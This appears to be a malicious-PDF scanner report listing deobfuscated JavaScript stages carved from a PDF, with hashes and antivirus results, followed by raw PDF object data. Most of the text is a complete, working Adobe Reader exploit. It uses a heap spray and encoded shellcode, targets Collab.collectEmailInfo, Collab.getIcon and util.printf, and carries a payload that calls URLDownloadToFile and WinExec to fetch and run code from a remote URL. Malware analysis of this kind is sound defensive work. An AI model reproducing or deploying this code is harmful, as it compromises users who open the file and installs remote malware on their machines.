= aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_002.js deobfuscated-js generic stage recovery split-literal-normalize from decompressed stream at 0x36AE at offset 0x36AE 5987 bytes
SHA-256: 0917289f97ce26084bc6f91b96f08faeaa7b4967bd1f396b6f676619a0298807
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_003.js deobfuscated-js generic stage recovery percent-decode from decompressed stream at 0x36AE at offset 0x36AE 5992 bytes
SHA-256: bc67a2bac5c725c149ac674739ffd64eaf5e0af74327e335467d071d68371ddf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"	\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_004.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 21678 bytes
SHA-256: 703cc49f35bd3f895c354f05573c5062732ede14f3f1c1eeac5ef6247c2b508a
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇	}��ݷcZ�o��#��  
_<��3��"������>g��  .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R�  ��\�XWt���b5mJ���y��`�8  YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F  �{�0?� j��� �[3]1j�R9�՘* z^
�����  � � ڐi B.eZ���KVqj 𙪧Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y  � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � <     >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se]  A�p$S��� K  z��O�b'� )�I;
e+d׾H ^w4E`	� ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R   �،����-�|  : �2x�eHhn9�����	6 � a= P��4�N� ٞ~�  )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝  �k���"�  h�l-xI���Q6��w  �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o   Q)�Nd �V�`  l{C{���D͐���w�ս��z��>M�   �;V�^L� �= ǫ}�)#X�6���&�5 �E  � n h�K,�V!E�>T�f 2  �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz��  �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s���	�)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
 ��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[  H����A � v_qd �� d� �u �7w �i��I�7�t��{ ��	�w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ  G���E�
�� �T�a!���� G  ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩�  \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� ��  3�:��������n�NV��xw  ]F�g�Ug����b��-��_v�����dk��	�xo/�� �4}�ļ�����G�}ڶp�> `�p  A�d��m �C��p� �QrQ?P�0�d��(� ̜f�  }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
 *'�{V] [���� $ 
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R  } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s  ��h�� i2 L 4   �o  �!� }� �� �� ������^  h��   uF��`: �c��xrB�	��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� 𽼳 �WO�^ �O�?������'��io"�7 �l:   *h2 �Ex�]� ��񂓯C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% �  �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q�  �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt  �O+z���2lK��	�&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
	�<6� "X5Ƨ ��%� �6 7��  e��w  �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� �  rI
 CYn�xe �s�T�ӽ`�R 
�(�FְD��d [P  i�l��N  �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG  N� 6+ i�k  ߲��L#� ����$Kv���TeW�	��b	���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)�  ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ  e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b	� � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�?  �'h  :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z	 k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �:  ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:���  :�|Kg@��
F��I�
bb�*w>]  :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
 ��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��)  �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q  _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN�����  �  ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ  �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O	|dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�,  C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� 	�Rzݐ  �A�#�wq!�f)��
